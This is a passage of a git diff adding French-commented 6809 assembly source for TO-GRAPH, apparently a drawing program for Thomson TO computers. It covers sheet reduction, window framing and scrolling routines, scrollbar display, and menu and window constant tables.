+ LBEQ RED0F -->
+ LDA BANKC
+ LDB #60
+ CMPA #PBKTRA+2
+ BEQ RED0D dernier bank ->
+ CMPY #$E000-59
+ BCS BRED01 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BRED00 LDA ,Y+
+ BEQ LRED00 ->
+ STA ,X
+LRED00 LEAX 2,X
+ DECB
+ BNE BRED00 ->
+ INC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRED01 LDA ,Y+
+ BEQ LRED01 ->
+ STA ,X
+LRED01 LEAX 2,X
+ DECB
+ BNE BRED01 ->
+ CMPY #$E000
+ BCS BRED2 ->
+ INC BANKC
+ LDY #$A000
+ BRA BRED2 ->
+
+RED0D CMPY #$DF40-59 dernier bank
+ BCS BRED03 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BRED02 LDA ,Y+
+ BEQ LRED02 ->
+ STA ,X
+LRED02 LEAX 2,X
+ DECB
+ BNE BRED02 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRED03 LDA ,Y+
+ BEQ LRED03 ->
+ STA ,X
+LRED03 LEAX 2,X
+ DECB
+ BNE BRED03 ->
+ CMPY #$DF40
+ LBCS BRED2 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LBRA BRED2 ->
+RED0F EQU *
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 1
+
+ LDA DBK,S
+ ADDA #3
+ STA BANKC
+ LDA #9
+ STA <CPTLT
+ LDY <ADPRRL
+BRED3 LEAX BUFRED,S
+ LEAX 1,X
+ DEC <CPTLT
+ LBEQ RED1F -->
+ LDA BANKC
+ LDB #60
+ CMPA #PBKTRA+5
+ BEQ RED1D dernier bank ->
+ CMPY #$E000-59
+ BCS BRED11 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BRED10 LDA ,Y+
+ BEQ LRED10 ->
+ STA ,X
+LRED10 LEAX 2,X
+ DECB
+ BNE BRED10 ->
+ INC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRED11 LDA ,Y+
+ BEQ LRED11 ->
+ STA ,X
+LRED11 LEAX 2,X
+ DECB
+ BNE BRED11 ->
+ CMPY #$E000
+ BCS BRED3 ->
+ INC BANKC
+ LDY #$A000
+ BRA BRED3 ->
+
+RED1D CMPY #$DF40-59 dernier bank
+ BCS BRED13 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BRED12 LDA ,Y+
+ BEQ LRED12 ->
+ STA ,X
+LRED12 LEAX 2,X
+ DECB
+ BNE BRED12 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRED13 LDA ,Y+
+ BEQ LRED13 ->
+ STA ,X
+LRED13 LEAX 2,X
+ DECB
+ BNE BRED13 ->
+ CMPY #$DF40
+ LBCS BRED3 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LBRA BRED3 ->
+
+RED1F STY <ADPRRL
+ LDA BANKC
+ SUBA #3
+ STA DBK,S
+
+* Boucle de visualisation de la ligne
+* réduite.
+
+ CLRA
+ LEAU BUFRED,S
+ LDY YRED,S
+RED4 TST ,U+
+ BEQ RED5 ->
+ LDX #240
+ LEAX A,X
+ LDB #PSETXY
+ JSR EXTRA
+RED5 INCA
+ CMPA #120
+ BNE RED4 ->
+
+* Passer à la ligne car. suivante
+
+ LEAY 1,Y
+ STY YRED,S
+ CMPY #40+102
+ LBNE BRED0 ->
+
+* Sélection opérateur
+
+CADR0 JSR FENACT sélection
+CADR1 JSR FEN
+ TSTB
+ BEQ CADR1 ->
+ CMPB #FF
+ LBEQ CADRRZ raz ->
+ CMPB #RC
+ LBEQ CADROK RC ->
+ CMPB #VT
+ LBEQ CADRVT VT ->
+ CMPB #BS
+ LBEQ CADRBS BS ->
+ CMPB #HT
+ LBEQ CADRHT HT ->
+ CMPB #LF
+ LBEQ CADRLF LF ->
+ TST PA,S
+ BNE CADR1 ->
+ LDA #$92
+ LDX #CADRRT-$4000
+ LDY #CADRRZ-$4000
+ LDU #ABORT
+ LBSR COMBK1
+ CMPU #0
+ BEQ CADR1 ->
+ JMP ,U
+
+CADRVT EQU *
+******
+
+* Vérification ligne non vide
+ JSR FENDES
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDB #8
+CDRVV0 TST ,X+
+ LBNE CADR0 ->
+ DECB
+ BNE CDRVV0 ->
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDB #7
+CDRVV1 TST ,X+
+ LBNE CADR0 ->
+ DECB
+ BNE CDRVV1 ->
+
+* Scroll point
+ LDX #$4000+5*8*40+15
+ LEAY 40,X
+ LDB #101
+ STB <CPTLT
+BVH0 LDB #7
+BVH1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BVH1 ->
+ LEAX 40-7,X
+ LEAY 40-7,Y
+ DEC <CPTLT
+ BNE BVH0 ->
+
+ LDB #7 raz nouv ligne
+BVH10 CLR ,X+
+ DECB
+ BNE BVH10 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LEAY 40,X
+ LDB #101
+ STB <CPTLT
+BVH2 LDB #8
+BVH3 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BVH3 ->
+ LEAX 40-8,X
+ LEAY 40-8,Y
+ DEC <CPTLT
+ BNE BVH2 ->
+
+ LDB #8 raz nouv ligne
+BVH30 CLR ,X+
+ DECB
+ BNE BVH30 ->
+
+ INC DECRNG,S
+ LBRA CADR0 ->
+
+CADRBS EQU *
+******
+
+* Vérification 2 colonnes gauches vides
+ JSR FENDES
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDB #102
+CDRBV0 LDA ,X
+ ANDA #$C0
+ LBNE CADR0 ->
+ LEAX 40,X
+ DECB
+ BNE CDRBV0 ->
+
+* Scroll 2 points
+ LDX #$4000+5*8*40+22
+ LDB #102
+ STB <CPTLT
+BVG0 LDB #7
+ LSL ,X
+ LEAX -1,X
+BVG1 DEC $E7C3
+ ROL ,X
+ INC $E7C3
+ ROL ,X
+ LEAX -1,X
+ DECB
+ BNE BVG1 ->
+ LEAX 48,X
+ DEC <CPTLT
+ BNE BVG0 ->
+
+ LDX #$4000+5*8*40+22
+ LDB #102
+ STB <CPTLT
+BVG2 LDB #7
+ LSL ,X
+ LEAX -1,X
+BVG3 DEC $E7C3
+ ROL ,X
+ INC $E7C3
+ ROL ,X
+ LEAX -1,X
+ DECB
+ BNE BVG3 ->
+ LEAX 48,X
+ DEC <CPTLT
+ BNE BVG2 ->
+
+ INC DECCOL,S
+ LBRA CADR0 ->
+
+CADRHT EQU *
+******
+
+* Vérification 2 colonnes droites vides
+ JSR FENDES
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+22
+ LDB #102
+CDRHV0 LDA ,X
+ ANDA #$03
+ LBNE CADR0 ->
+ LEAX 40,X
+ DECB
+ BNE CDRHV0 ->
+
+* Scroll 2 points
+ LDX #$4000+5*8*40+15
+ LDB #102
+ STB <CPTLT
+BVD0 LDB #7
+ LSR ,X
+BVD1 DEC $E7C3
+ ROR ,X+
+ INC $E7C3
+ ROR ,X
+ DECB
+ BNE BVD1 ->
+ LEAX 40-7,X
+ DEC <CPTLT
+ BNE BVD0 ->
+
+ LDX #$4000+5*8*40+15
+ LDB #102
+ STB <CPTLT
+BVD2 LDB #7
+ LSR ,X
+BVD3 DEC $E7C3
+ ROR ,X+
+ INC $E7C3
+ ROR ,X
+ DECB
+ BNE BVD3 ->
+ LEAX 40-7,X
+ DEC <CPTLT
+ BNE BVD2 ->
+
+ DEC DECCOL,S
+ LBRA CADR0 ->
+
+CADRLF EQU *
+******
+
+* Vérification ligne non vide
+ JSR FENDES
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15+101*40
+ LDB #8
+CDRVB0 TST ,X+
+ LBNE CADR0 ->
+ DECB
+ BNE CDRVB0 ->
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15+101*40
+ LDB #7
+CDRVB1 TST ,X+
+ LBNE CADR0 ->
+ DECB
+ BNE CDRVB1 ->
+
+* Scroll point
+ LDX #$4000+5*8*40+15+101*40
+ LEAY -40,X
+ LDB #101
+ STB <CPTLT
+BVB0 LDB #7
+BVB1 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BVB1 ->
+ LEAX -47,X
+ LEAY -47,Y
+ DEC <CPTLT
+ BNE BVB0 ->
+
+ LDB #7 raz nouv ligne
+BVB10 CLR ,X+
+ DECB
+ BNE BVB10 ->
+
+ LDA $E7C3
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15+101*40
+ LEAY -40,X
+ LDB #101
+ STB <CPTLT
+BVB2 LDB #8
+BVB3 LDA ,Y+
+ STA ,X+
+ DECB
+ BNE BVB3 ->
+ LEAX -48,X
+ LEAY -48,Y
+ DEC <CPTLT
+ BNE BVB2 ->
+
+ LDB #8 raz nouv ligne
+BVB30 CLR ,X+
+ DECB
+ BNE BVB30 ->
+
+ DEC DECRNG,S
+ LBRA CADR0 ->
+
+CADROK EQU * Sortie normale
+******
+ JSR FENDES
+ LDA MEMBK,S
+ STA BANKC
+
+* Déterminer nouvelle adresse feuille
+ LDA DECRNG,S
+ BEQ CADRO2 ->
+ BMI CADRO0 ->
+ LSLA *8*60
+ LDB #240
+ MUL
+ ADDD <ADF
+ CMPD #48960
+ BCS CADRO1 ->
+ SUBD #48960
+ BRA CADRO1 ->
+CADRO0 NEGA
+ LSLA *8*60
+ LDB #240
+ MUL
+ PSHS D
+ LDD <ADF
+ SUBD ,S++
+ BCC CADRO1 ->
+ ADDD #48960
+CADRO1 STD <ADF
+CADRO2 LDB DECCOL,S
+ BEQ CADRO5 ->
+ BMI CADRO3 ->
+ CLRA
+ ADDD <ADF
+ CMPD #48960
+ BCS CADRO4 ->
+ SUBD #48960
+ BRA CADRO4 ->
+CADRO3 NEGB
+ CLRA
+ PSHS D
+ LDD <ADF
+ SUBD ,S++
+ BCC CADRO4 ->
+ ADDD #48960
+CADRO4 STD <ADF
+
+* Déterminer sélection si demandé
+CADRO5 TST PA,S
+ LBEQ CADRO6 ->
+ LDB #$50
+ JSR FENCH
+ LDA VAL,X
+ STA PA,S
+
+* Déterminer la 1ère ligne non vide
+ LDA $E7C3 # page 0
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDB #102
+ STB <CPTLT
+BD1L0 LDB #8
+BD1L1 TST ,X+
+ BNE LD1L0 trouvé ->
+ DECB
+ BNE BD1L1 ->
+ LEAX 40-8,X
+ DEC <CPTLT
+ BNE BD1L0 ->
+
+LD1L0 LDB #102
+ SUBB <CPTLT
+ STB CADRNG result page 0
+
+ LDA $E7C3 # page 1
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDB #102
+ STB <CPTLT
+BD2L0 LDB #7
+BD2L1 TST ,X+
+ BNE LD2L0 trouvé ->
+ DECB
+ BNE BD2L1 ->
+ LEAX 40-7,X
+ DEC <CPTLT
+ BNE BD2L0 ->
+
+LD2L0 LDB #102 result page 1
+ SUBB <CPTLT
+ CMPB CADRNG
+ BGE LD2L1 ->
+ STB CADRNG
+LD2L1 LDB CADRNG
+ CMPB #102
+ LBEQ CADRRZ feuille vide ->
+
+* Détermination dernière ligne
+ LDA $E7C3 # page 0
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15+101*40
+ LDB #101
+ STB <CPTLT
+BDDL0 LDB #8
+BDDL1 TST ,X+
+ BNE LDDL0 trouvé ->
+ DECB
+ BNE BDDL1 ->
+ LEAX -48,X
+ DEC <CPTLT
+ BRA BDDL0 ->
+
+LDDL0 LDB <CPTLT result page 0
+ STB DRLG,S
+
+ LDA $E7C3 # page 1
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15+101*40
+ LDB #101
+ STB <CPTLT
+BDDL2 LDB #7
+BDDL3 TST ,X+
+ BNE LDDL1 trouvé ->
+ DECB
+ BNE BDDL3 ->
+ LEAX -47,X
+ DEC <CPTLT
+ BRA BDDL2 ->
+
+LDDL1 LDB <CPTLT
+ CMPB DRLG,S
+ BGT LDDL2 ->
+ LDB DRLG,S
+LDDL2 SUBB CADRNG
+ INCB
+ STB CADHAU
+
+* Cumul des lignes sur le buffer
+* BUFRED
+ LEAX BUFRED,S
+ LDB #15
+BRAZBR CLR ,X+
+ DECB
+ BNE BRAZBR ->
+
+ LDA $E7C3 page 0
+ ORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDA CADRNG
+ LDB #40
+ MUL
+ LEAX D,X
+ LDA CADHAU
+ STA <CPTLT
+BCUM0 LDB #8
+ LEAY BUFRED,S
+BCUM1 LDA ,X+
+ ORA ,Y
+ STA ,Y++
+ DECB
+ BNE BCUM1 ->
+ LEAX 40-8,X
+ DEC <CPTLT
+ BNE BCUM0 ->
+
+ LDA $E7C3 page 1
+ EORA #1
+ STA $E7C3
+ LDX #$4000+5*8*40+15
+ LDA CADRNG
+ LDB #40
+ MUL
+ LEAX D,X
+ LDA CADHAU
+ STA <CPTLT
+BCUM2 LDB #7
+ LEAY BUFRED,S
+ LEAY 1,Y
+BCUM3 LDA ,X+
+ ORA ,Y
+ STA ,Y++
+ DECB
+ BNE BCUM3 ->
+ LEAX 40-7,X
+ DEC <CPTLT
+ BNE BCUM2 ->
+
+* Recherche borne gauche
+ LEAX BUFRED,S
+ CLRB
+BRBG0 LDA ,X+
+ BNE LRBG0 ->
+ INCB
+ BRA BRBG0 ->
+LRBG0 PSHS A
+ LDA #8
+ MUL
+ STB CADCOL
+ PULS A
+ LDB #-1
+BRBG1 LSLA
+ INCB
+ BCC BRBG1 ->
+ ADDB CADCOL
+ LSRB colonne / page
+ STB CADCOL paire
+
+* Recherche borne droite
+ LEAX BUFRED,S
+ LDB #14
+BRBD0 LDA B,X
+ BNE LRBD0 ->
+ DECB
+ BRA BRBD0 ->
+LRBD0 PSHS A
+ LDA #8
+ MUL
+ PULS A
+ STB CLDRO,S
+ LDB #8
+BRBD1 LSRA
+ DECB
+ BCC BRBD1 ->
+ ADDB CLDRO,S
+ SUBB CADCOL 0..59 et non
+ SUBB CADCOL 0..119 !!!
+ INCB
+ STB CADLAR
+
+ LDX #240
+ LDA CADCOL
+ LSLA
+ LEAX A,X
+ STX XXXXXX
+ LDA CADLAR
+ LEAX A,X
+ LEAX -1,X
+ LDY #40
+ LDA CADRNG
+ LEAY A,Y
+ STY YYYYYY
+ LDA CADHAU
+ LEAY A,Y
+ LEAY -1,Y
+ LDB #BOX
+ JSR EXTRA
+
+CADRO6 CLR PB,S
+ ANDCC #$FB
+ LEAS 128,S
+ PULS D,X,Y,U,PC ->>
+
+CADRRZ EQU *
+******
+ CLRB
+CADRRT STB PB,S
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ LDA MEMBK,S
+ STA BANKC
+ ORCC #$04
+ LEAS 128,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation de l'ascenceur bas
+*=======================================
+
+XVISAB LDA #1
+ LDB #60
+ TFR D,Y
+ LDA #24
+ LDB #12
+ JSR FENLOC
+ JSR FENFON
+ JSR FENTI
+ LDA #1
+ LDB #37
+ TFR D,Y
+ LDA #24
+ LDB #12
+ ADDB CLDECR
+ JSR FENLOC
+ JSR FENTRA
+ JSR FENTI
+ RTS
+
+
+*=======================================
+* S/P visualisation de l'ascenceur droit
+*=======================================
+
+XVISAD LDA #17
+ LDB #2
+ TFR D,Y
+ LDA #4
+ LDB #78
+ JSR FENLOC
+ JSR FENFON
+ JSR FENTI
+ LDA #4
+ LDB #2
+ TFR D,Y
+ LDB RGDECR
+ CLRA
+DDIV6 SUBB #6
+ BCS FDIV6 ->
+ INCA
+ BRA DDIV6 ->
+FDIV6 TSTA
+ BNE VISAS0 ->
+ TST RGDECR
+ BEQ VISAS1 ->
+ INCA montrer pas haut
+ BRA VISAS1
+VISAS0 CMPA #13
+ BNE VISAS1
+ LDB RGDECR
+ CMPB #78
+ BGE VISAS1
+ DECA montrer pas bas
+VISAS1 ADDA #4
+ LDB #78
+ JSR FENLOC
+ JSR FENTRA
+ JSR FENTI
+ RTS
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM
new file mode 100644
index 0000000..ecffe20
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-CN.ASM
@@ -0,0 +1,671 @@
+ TITLE TO-GRAPH: constantes
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* constantes *
+* *
+****************************************
+
+****************************************
+* F E N E T R E S *
+****************************************
+
+* Fenêtre principale
+*---------------------------------------
+
+FENPR FCB FEDI,ESC,$4E,0
+ FCB FLOCA,0,5,1,16
+ FCB FEDI
+ FCC \FICHIERS\
+ FCB 0
+ FCB FINVVD
+ FCB FLOCA,0,23,1,12
+ FCB FEDI
+ FCC \TIROIR\
+ FCB 0
+ FCB FINVVD
+ FCB FLOCA,0,37,1,14
+ FCB FEDI
+ FCC \CADRAGE\
+ FCB 0
+ FCB FINVVD
+ FCB FLOCA,0,53,1,12
+ FCB FEDI
+ FCC \ALBUMS\
+ FCB 0
+ FCB FINVVD
+ FCB FLOCA,0,67,1,12
+ FCB FEDI
+ FCC \IMPRES\
+ FCB 0
+ FCB FINVVD
+
+ FCB FLOCA,4,1,2,2
+ FCB FTOURE,FCADRE
+ FCB FLOCA,7,1,1,2
+ FCB FTOURE
+ FCB FLOCA,9,1,1,2 Remplissag
+ FCB FINVVD
+ FCB FLOCA,11,1,1,2
+ FCB FINVVD
+ FCB FLOCA,10,0,1,4
+ FCB FTOURI
+ FCB FLOCA,10,1,1,2
+ FCB FLOCA,13,1,2,2 Superposit
+ FCB FTOURE
+ FCB FLOCA,16,1,2,2 Taille lig
+ FCB FTOURE
+ FCB FLOCA,20,1,1,2 Taille car
+ FCB FTOURE
+ FCB FEDI,MOTRAZ,0 Effacement
+ FCB FLOCA,22,1,1,2
+ FCB FTOURE
+ FCB FEDI,MOTRET,0 Précédent
+ FCB FLOCA,0,0,19,4
+ FCB FTOURI
+ FCB FLOCA,19,0,6,4
+ FCB FTOURI
+
+ FCB FLOCA,24,6,1,4
+ FCB FEDI,CSCRG0,CSCRG1,0
+ FCB FLOCA,24,10,1,2
+ FCB FEDI,CSCRG2,0
+ FCB FLOCA,24,12,1,60
+ FCB FTOURI
+ FCB FLOCA,24,72,1,2
+ FCB FEDI,CSCRD0,0
+ FCB FLOCA,24,74,1,4
+ FCB FEDI,CSCRD1,CSCRD2,0
+ FCB FLOCA,1,78,2,2
+ FCB FEDI,CSCRH0,0
+ FCB FLOCA,2,78,1,2
+ FCB FEDI,CSCRH1,0
+ FCB FLOCA,3,78,1,2
+ FCB FEDI,CSCRH2,0
+ FCB FLOCA,4,78,17,2
+ FCB FTOURI
+ FCB FLOCA,21,78,1,2
+ FCB FEDI,CSCRB0,0
+ FCB FLOCA,22,78,2,2
+ FCB FEDI,CSCRB1,0
+ FCB FLOCA,23,78,1,2
+ FCB FEDI,CSCRB2,0
+
+MENUD FCB FLOCA,0,5,1,16
+ FCB FPOUSS,$90,OFF
+ FCB FLOCA,0,23,1,12
+ FCB FPOUSS,$91,OFF
+ FCB FLOCA,0,37,1,14
+ FCB FPOUSS,$92,OFF
+ FCB FLOCA,0,53,1,12
+ FCB FPOUSS,$93,OFF
+ FCB FLOCA,0,67,1,12
+ FCB FPOUSS,$94,OFF
+ FCB FLOCA,1,1,2,2
+ FCB FPOUSS,$0F,OFF (ctrl) O
+ FCB FLOCA,4,1,2,2
+ FCB FPOUSS,$10,OFF (ctrl) P
+ FCB FLOCA,7,1,1,2
+ FCB FINV,$12,OFF (ctrl) R
+ FCB FLOCA,10,1,1,2
+ FCB FINV,$13,OFF (ctrl) S
+ FCB FLOCA,13,1,2,2
+ FCB FPOUSS,$14,OFF (ctrl) T
+ FCB FLOCA,16,1,2,2
+ FCB FPOUSS,$15,OFF (ctrl) U
+ FCB FLOCA,20,1,1,2
+ FCB FPOUSS,$05,OFF (ctrl) E
+ FCB FLOCA,22,1,1,2
+ FCB FPOUSS,$11,OFF (ctrl) Q
+ FCB FLOCA,24,6,1,4
+ FCB FPOUSS,BS+$80,OFF
+ FCB FLOCA,24,10,1,2
+ FCB FPOUSS,BS,OFF
+ FCB FLOCA,24,12,1,60
+ FCB FPOUSS,$80,OFF
+ FCB FLOCA,24,72,1,2
+ FCB FPOUSS,HT,OFF
+ FCB FLOCA,24,74,1,4
+ FCB FPOUSS,HT+$80,OFF
+ FCB FLOCA,1,78,2,2
+ FCB FPOUSS,VT+$80,OFF
+ FCB FLOCA,3,78,1,2
+ FCB FPOUSS,VT,OFF
+ FCB FLOCA,4,78,17,2
+ FCB FPOUSS,$81,OFF
+ FCB FLOCA,21,78,1,2
+ FCB FPOUSS,LF,OFF
+ FCB FLOCA,22,78,2,2
+ FCB FPOUSS,LF+$80,OFF
+ FCB FEDI,ESC,$4C,0
+FENVID FCB FSTOP
+
+FENTIT FCB FEDI,ESC,$4F,0 titre
+ FCB FLOCF,0,0,5,37
+ FCB FTOURE,FCADRE
+ FCB FLOCR,2,2,20,20
+ FCB FEDI,HT,HT
+ FCC \TO-GRAPH\
+ FCB ESC,$4C
+ FCC \HMEL-93V1.7\
+ FCB 0
+ FCB FSTOP
+
+FFLOUP FCB FLOCF,0,0,18,18
+ FCB FTRAME,FTOURI
+ FCB FLOCR,1,1,16,16
+ FCB FFOND,FTOURE,FCADRE
+ FCB FSTOP
+
+FENFIC FCB FLOCF,0,0,16,40
+ FCB FTOURE,FCADRE,FFOND
+ FCB FCOMF,FF,ON
+ FCB FLOCF,1,1,1,29
+ FCB FPOUSS,$50,OFF
+ FCB FEDI
+ FCB ESC,$4E
+ FCC \Pr\
+ FCB SS2,$42
+ FCC \eciserunit\
+ FCB SS2,$42,$65
+ FCB 0
+ FCB FLOCF,2,1,1,29
+ FCB FPOUSS,$49,OFF
+ FCB FEDI
+ FCC \Initialiser\
+ FCB 0
+ FCB FLOCF,3,1,1,29
+ FCB FPOUSS,$43,OFF
+ FCB FEDI
+ FCC \Catalogue\
+ FCB 0
+ FCB FLOCF,4,1,1,38
+ FCB FPOUSS,$52,OFF
+ FCB FEDI
+ FCC \Renommerfichier\
+ FCB 0
+ FCB FLOCF,5,1,1,38
+ FCB FPOUSS,$53,OFF
+ FCB FEDI
+ FCC \Supprimerfichier\
+ FCB 0
+ FCB FLOCF,6,1,1,38
+ FCB FPOUSS,$44,OFF
+ FCB FEDI
+ FCC \Dupliquerfichier\
+ FCB 0
+ FCB FLOCF,8,1,1,38
+ FCB FPOUSS,$4C,OFF
+ FCB FEDI
+ FCC \Liredessin\
+ FCB 0
+ FCB FLOCF,9,1,1,38
+ FCB FPOUSS,$45,OFF
+ FCB FEDI
+ FCC \Ecriredessin\
+ FCB 0
+ FCB FLOCF,11,1,1,38
+ FCB FPOUSS,$46,OFF
+ FCB FEDI
+ FCC \Fichier\
+ FCB SS2,$2E
+ FCC \Album\
+ FCB 0
+ FCB FLOCF,12,1,1,38
+ FCB FPOUSS,$41,OFF
+ FCB FEDI
+ FCC \Album\
+ FCB SS2,$2E
+ FCC \Fichier\
+ FCB 0
+ FCB FLOCF,14,1,1,38
+ FCB FPOUSS,$51,OFF
+ FCB FEDI
+ FCC \Quitter...\
+ FCB ESC,$4C,0
+ FCB FLOCF,1,32,2,6
+ FCB FFOND,FTOURE,FCADRE
+
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+FALBUM FCB FLOCF,0,0,11,32
+ FCB FTOURE,FCADRE,FFOND
+ FCB FCOMF,FF,ON
+ FCB FLOCF,1,1,1,30
+ FCB FPOUSS,$43,OFF
+ FCB FEDI,ESC,$4E
+ FCC \Copier\
+ FCB SS2,$2E
+ FCC \Tiroir\
+ FCB 0
+ FCB FLOCR,2,0,1,30
+ FCB FPOUSS,$41,OFF
+ FCB FEDI
+ FCC \Album\
+ FCB SS2,$2E
+ FCC \Ecran\
+ FCB 0
+ FCB FLOCR,2,0,1,30
+ FCB FPOUSS,$45,OFF
+ FCB FEDI
+ FCC \Ecran\
+ FCB SS2,$2E
+ FCC \Album\
+ FCB 0
+ FCB FLOCR,2,0,1,30
+ FCB FPOUSS,$56,OFF
+ FCB FEDI
+ FCC \Voirliste\
+ FCB 0
+ FCB FLOCR,2,0,1,30
+ FCB FPOUSS,$53,OFF
+ FCB FEDI
+ FCC \Supprimer\
+ FCB ESC,$4C,0
+
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+FIMPR FCB FLOCF,0,0,5,28
+ FCB FTOURE,FCADRE,FFOND
+ FCB FCOMF,FF,ON
+ FCB FLOCF,1,1,1,26
+ FCB FPOUSS,$45,OFF
+ FCB FEDI,ESC,$4E
+ FCC \impr.Ecran\
+ FCB 0
+ FCB FLOCR,2,0,1,26
+ FCB FPOUSS,$46,OFF
+ FCB FEDI
+ FCC \impr.Feuille\
+ FCB 0
+
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+FENOUT FCB FLOCF,0,0,7,38
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOMF,FF,ON
+
+ FCB FLOCF,1,2,2,2
+ FCB FTEXTE
+MPOIN FCB $80,$81,$82,$83,0
+ FCB FEDI,HT,HT,HT,LF,$41,0
+ FCB FPOUSS,$41,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MLIGN FCB $84,$85,$86,$87,0
+ FCB FEDI,HT,HT,HT,LF,$42,0
+ FCB FPOUSS,$42,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MRECT FCB $88,$89,$8A,$8B,0
+ FCB FEDI,HT,HT,HT,LF,$43,0
+ FCB FPOUSS,$43,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MCARR FCB $8C,$8D,$8E,$8F,0
+ FCB FEDI,HT,HT,HT,LF,$44,0
+ FCB FPOUSS,$44,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MELLI FCB $90,$91,$92,$93,0
+ FCB FEDI,HT,HT,HT,LF,$45,0
+ FCB FPOUSS,$45,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MCERC FCB $94,$95,$96,$97,0
+ FCB FEDI,HT,HT,HT,LF,$46,0
+ FCB FPOUSS,$46,OFF
+ FCB FLOCF,4,2,2,2
+ FCB FTEXTE
+MCARA FCB $98,$99,$9A,$9B,0
+ FCB FEDI,HT,HT,HT,LF,$47,0
+ FCB FPOUSS,$47,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MPEIN FCB $9C,$9D,$9E,$9F,0
+ FCB FEDI,HT,HT,HT,LF,$48,0
+ FCB FPOUSS,$48,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MGOMM FCB $A0,$A1,$A2,$A3,0
+ FCB FEDI,HT,HT,HT,LF,$49,0
+ FCB FPOUSS,$49,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MLOUP FCB $A4,$A5,$A6,$A7,0
+ FCB FEDI,HT,HT,HT,LF,$4A,0
+ FCB FPOUSS,$4A,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MCOUC FCB $A8,$A9,$AA,$AB,0
+ FCB FEDI,HT,HT,HT,LF,$4B,0
+ FCB FPOUSS,$4B,OFF
+ FCB FLOCR,0,6,2,2
+ FCB FTEXTE
+MCOLL FCB $AC,$AD,$AE,$AF,0
+ FCB FEDI,HT,HT,HT,LF,$4C,0
+ FCB FPOUSS,$4C,OFF
+
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+FENMOT FCB FLOCF,0,0,18,19
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOMF,FF,ON
+
+ FCB FLOCF,1,1,16,8
+ FCB FTOURE
+ FCB FLOCR,-2,6,0,0
+ FCB FDO,8
+ FCB FLOCR,2,-8,0,0
+ FCB FDO,4
+ FCB FLOCR,0,2,2,2
+ FCB FPOUSS,255,OFF code déf.
+ FCB FLOOP
+ FCB FLOOP
+
+ FCB FLOCF,1,10,2,2
+ FCB FTOURE,FINVVD
+ FCB FPOUSS,200,OFF plein
+ FCB FLOCF,4,10,2,2
+ FCB FTOURE
+ FCB FPOUSS,201,OFF vide
+
+ FCB FLOCF,2,15,2,2
+ FCB FTOURE,FCADRE
+
+ FCB FLOCF,5,14,0,0
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE,0
+ FCB FLOCF,5,17,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,7,10,0,0
+ FCB FEDI
+ FCC \Ranger\
+ FCB BALISE,0
+ FCB FLOCF,7,17,1,1
+ FCB FINV,199,OFF
+
+ FCB FLOCF,9,10,8,8
+ FCB FTOURE
+ FCB FPOUSS,254,INTERD (bidon)
+
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+
+FFCOUC FCB FLOCF,0,0,7,18
+ FCB FFOND,FTOURE,FCADRE
